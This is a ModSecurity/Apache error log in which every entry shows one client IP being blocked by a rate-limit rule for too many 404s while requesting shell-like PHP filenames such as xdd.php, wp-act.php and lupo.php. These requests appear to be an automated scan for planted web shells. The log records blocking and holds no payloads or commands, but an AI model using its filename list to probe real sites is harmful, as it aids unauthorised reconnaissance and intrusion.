[Wed Apr 08 00:04:19.366597 2026] [:error] [pid 37597:tid 37640] [client 20.251.113.42:65216] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "adUrAw6uAY0QAy-8EELmaQAAAEY"]
[Wed Apr 08 00:04:19.941876 2026] [:error] [pid 37719:tid 37737] [client 20.251.113.42:11060] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xdd.php"] [unique_id "adUrA009Xv52u2xXGLBuOQAAAM8"]
[Wed Apr 08 00:04:20.909183 2026] [:error] [pid 37596:tid 37626] [client 20.251.113.42:42257] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xdd.php"] [unique_id "adUrBKpaAOZHEjRWjP2yVAAAABQ"]
[Wed Apr 08 00:04:21.840275 2026] [:error] [pid 59490:tid 59492] [client 20.251.113.42:11028] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xdd.php"] [unique_id "adUrBUcw8OFbiUZ7Rx2C5AAAAUA"]
[Wed Apr 08 00:04:22.710180 2026] [:error] [pid 12948:tid 12955] [client 20.251.113.42:42295] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xdd.php"] [unique_id "adUrBsbeSPAN8LvMqsbTRQAAAQQ"]
[Wed Apr 08 00:04:23.670965 2026] [:error] [pid 59804:tid 59806] [client 20.251.113.42:11061] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "adUrB3YVIXiPh5_eJTkQnwAAAgA"]
[Wed Apr 08 00:04:24.353921 2026] [:error] [pid 59804:tid 59808] [client 20.251.113.42:20277] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "adUrCHYVIXiPh5_eJTkQowAAAgI"]
[Wed Apr 08 00:04:25.182249 2026] [:error] [pid 59804:tid 59809] [client 20.251.113.42:11077] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "adUrCXYVIXiPh5_eJTkQrAAAAgM"]
[Wed Apr 08 00:04:26.132781 2026] [:error] [pid 59551:tid 59575] [client 20.251.113.42:15418] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "adUrCl7LN7Ubyqs-sVtI3wAAAZY"]
[Wed Apr 08 00:04:27.214627 2026] [:error] [pid 37597:tid 37636] [client 20.251.113.42:11085] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "adUrCw6uAY0QAy-8EELmbwAAAEI"]
[Wed Apr 08 00:04:28.004208 2026] [:error] [pid 37719:tid 37723] [client 20.251.113.42:11075] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "adUrDE09Xv52u2xXGLBuQQAAAME"]
[Wed Apr 08 00:04:28.781466 2026] [:error] [pid 59804:tid 59820] [client 20.251.113.42:4599] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "adUrDHYVIXiPh5_eJTkQugAAAg4"]
[Wed Apr 08 00:04:29.485886 2026] [:error] [pid 59804:tid 59830] [client 20.251.113.42:4587] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/roksad1.php"] [unique_id "adUrDXYVIXiPh5_eJTkQvwAAAhg"]
[Wed Apr 08 00:04:30.153017 2026] [:error] [pid 59551:tid 59574] [client 20.251.113.42:31203] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update1.php"] [unique_id "adUrDl7LN7Ubyqs-sVtI5AAAAZU"]
[Wed Apr 08 00:04:30.917504 2026] [:error] [pid 37597:tid 37651] [client 20.251.113.42:39249] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update1.php"] [unique_id "adUrDg6uAY0QAy-8EELmcwAAAFE"]
[Wed Apr 08 00:04:31.630036 2026] [:error] [pid 37597:tid 37657] [client 20.251.113.42:18710] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update1.php"] [unique_id "adUrDw6uAY0QAy-8EELmdAAAAFc"]
[Wed Apr 08 00:04:32.273749 2026] [:error] [pid 59804:tid 59825] [client 20.251.113.42:64008] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update1.php"] [unique_id "adUrEHYVIXiPh5_eJTkQywAAAhM"]
[Wed Apr 08 00:04:32.942498 2026] [:error] [pid 59551:tid 59562] [client 20.251.113.42:9985] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "adUrEF7LN7Ubyqs-sVtI6AAAAYk"]
[Wed Apr 08 00:04:33.541027 2026] [:error] [pid 59804:tid 59814] [client 20.251.113.42:42244] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "adUrEXYVIXiPh5_eJTkQ0wAAAgg"]
[Wed Apr 08 00:04:34.102645 2026] [:error] [pid 59660:tid 59681] [client 20.251.113.42:43481] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "adUrEjp3-oiX2o5bTswx_AAAAdM"]
[Wed Apr 08 00:04:34.751481 2026] [:error] [pid 37596:tid 37621] [client 20.251.113.42:42256] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "adUrEqpaAOZHEjRWjP2yYQAAAA8"]
[Wed Apr 08 00:04:35.374769 2026] [:error] [pid 37719:tid 37733] [client 20.251.113.42:10020] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "adUrE009Xv52u2xXGLBuSAAAAMs"]
[Wed Apr 08 00:04:35.914380 2026] [:error] [pid 37719:tid 37744] [client 20.251.113.42:5039] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "adUrE009Xv52u2xXGLBuSQAAANY"]
[Wed Apr 08 00:04:36.435264 2026] [:error] [pid 59804:tid 59830] [client 20.251.113.42:64032] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "adUrFHYVIXiPh5_eJTkQ2QAAAhg"]
[Wed Apr 08 00:04:37.020841 2026] [:error] [pid 59804:tid 59813] [client 20.251.113.42:20272] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "adUrFXYVIXiPh5_eJTkQ3QAAAgc"]
[Wed Apr 08 00:04:37.547231 2026] [:error] [pid 37719:tid 37725] [client 20.251.113.42:42259] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new2.php"] [unique_id "adUrFU09Xv52u2xXGLBuSwAAAMM"]
[Wed Apr 08 00:04:38.181971 2026] [:error] [pid 37597:tid 37650] [client 20.251.113.42:4977] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new2.php"] [unique_id "adUrFg6uAY0QAy-8EELmegAAAFA"]
[Wed Apr 08 00:04:38.727276 2026] [:error] [pid 59804:tid 59818] [client 20.251.113.42:10022] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new2.php"] [unique_id "adUrFnYVIXiPh5_eJTkQ3wAAAgw"]
[Wed Apr 08 00:04:39.339340 2026] [:error] [pid 59551:tid 59571] [client 20.251.113.42:11091] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new2.php"] [unique_id "adUrF17LN7Ubyqs-sVtI8AAAAZI"]
[Wed Apr 08 00:04:39.971747 2026] [:error] [pid 37596:tid 37622] [client 20.251.113.42:23682] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "adUrF6paAOZHEjRWjP2yZgAAABA"]
[Wed Apr 08 00:04:40.527951 2026] [:error] [pid 37597:tid 37652] [client 20.251.113.42:10012] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "adUrGA6uAY0QAy-8EELmfwAAAFI"]
[Wed Apr 08 00:04:41.166036 2026] [:error] [pid 59551:tid 59573] [client 20.251.113.42:31777] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "adUrGV7LN7Ubyqs-sVtI9QAAAZQ"]
[Wed Apr 08 00:04:41.805746 2026] [:error] [pid 59551:tid 59567] [client 20.251.113.42:11030] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "adUrGV7LN7Ubyqs-sVtI9gAAAY4"]
[Wed Apr 08 00:04:42.362559 2026] [:error] [pid 59551:tid 59558] [client 20.251.113.42:38676] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "adUrGl7LN7Ubyqs-sVtI-AAAAYU"]
[Wed Apr 08 00:04:43.181543 2026] [:error] [pid 37719:tid 37726] [client 20.251.113.42:11446] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "adUrG009Xv52u2xXGLBuWAAAAMQ"]
[Wed Apr 08 00:04:43.853146 2026] [:error] [pid 59551:tid 59561] [client 20.251.113.42:4969] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "adUrG17LN7Ubyqs-sVtI-QAAAYg"]
[Wed Apr 08 00:04:44.458046 2026] [:error] [pid 59551:tid 59565] [client 20.251.113.42:11418] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "adUrHF7LN7Ubyqs-sVtI_gAAAYw"]
[Wed Apr 08 00:04:45.004306 2026] [:error] [pid 12948:tid 12964] [client 20.251.113.42:10034] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wswer1.php"] [unique_id "adUrHcbeSPAN8LvMqsbTSgAAAQ0"]
[Wed Apr 08 00:04:45.573642 2026] [:error] [pid 59660:tid 59664] [client 20.251.113.42:5025] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wswer1.php"] [unique_id "adUrHTp3-oiX2o5bTswyCAAAAcI"]
[Wed Apr 08 00:04:46.258112 2026] [:error] [pid 37597:tid 37653] [client 20.251.113.42:38743] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wswer1.php"] [unique_id "adUrHg6uAY0QAy-8EELmhAAAAFM"]
[Wed Apr 08 00:04:46.829310 2026] [:error] [pid 59804:tid 59825] [client 20.251.113.42:31795] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wswer1.php"] [unique_id "adUrHnYVIXiPh5_eJTkQ5gAAAhM"]
[Wed Apr 08 00:05:33.688721 2026] [:error] [pid 59804:tid 59809] [client 20.251.113.42:31805] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "adUrTXYVIXiPh5_eJTkRXQAAAgM"]
[Wed Apr 08 00:05:34.374719 2026] [:error] [pid 59804:tid 59816] [client 20.251.113.42:39009] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "adUrTnYVIXiPh5_eJTkRYAAAAgo"]
[Wed Apr 08 00:05:34.956063 2026] [:error] [pid 12948:tid 12963] [client 20.251.113.42:12425] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "adUrTsbeSPAN8LvMqsbTZgAAAQw"]
[Wed Apr 08 00:05:35.544074 2026] [:error] [pid 59660:tid 59685] [client 20.251.113.42:50622] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xff.php"] [unique_id "adUrTzp3-oiX2o5bTswyOwAAAdc"]
[Wed Apr 08 00:05:36.236031 2026] [:error] [pid 59660:tid 59680] [client 20.251.113.42:29668] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dichku.php"] [unique_id "adUrUDp3-oiX2o5bTswyPQAAAdI"]
[Wed Apr 08 00:05:36.796534 2026] [:error] [pid 59551:tid 59570] [client 20.251.113.42:12429] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dichku.php"] [unique_id "adUrUF7LN7Ubyqs-sVtJMwAAAZE"]
[Wed Apr 08 00:05:37.427329 2026] [:error] [pid 59804:tid 59828] [client 20.251.113.42:39000] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dichku.php"] [unique_id "adUrUXYVIXiPh5_eJTkRaAAAAhY"]
[Wed Apr 08 00:05:38.007101 2026] [:error] [pid 59804:tid 59817] [client 20.251.113.42:12417] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dichku.php"] [unique_id "adUrUnYVIXiPh5_eJTkRagAAAgs"]
[Wed Apr 08 00:05:38.567397 2026] [:error] [pid 37597:tid 37636] [client 20.251.113.42:50591] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "adUrUg6uAY0QAy-8EELm7gAAAEI"]
[Wed Apr 08 00:05:39.180847 2026] [:error] [pid 59490:tid 59512] [client 20.251.113.42:60462] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "adUrU0cw8OFbiUZ7Rx2DGgAAAVQ"]
[Wed Apr 08 00:05:39.723635 2026] [:error] [pid 37597:tid 37651] [client 20.251.113.42:20758] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "adUrUw6uAY0QAy-8EELm8AAAAFE"]
[Wed Apr 08 00:05:40.244797 2026] [:error] [pid 37597:tid 37647] [client 20.251.113.42:39002] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lupo.php"] [unique_id "adUrVA6uAY0QAy-8EELm8wAAAE0"]
[Wed Apr 08 00:05:40.786190 2026] [:error] [pid 37598:tid 37676] [client 20.251.113.42:54083] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/store.php"] [unique_id "adUrVO9g7q_cV2WhPazq8AAAAI8"]
[Wed Apr 08 00:05:41.321149 2026] [:error] [pid 59660:tid 59686] [client 20.251.113.42:50114] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/store.php"] [unique_id "adUrVTp3-oiX2o5bTswyPgAAAdg"]
[Wed Apr 08 00:05:41.864900 2026] [:error] [pid 12948:tid 12974] [client 20.251.113.42:39034] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/store.php"] [unique_id "adUrVcbeSPAN8LvMqsbTbQAAARc"]
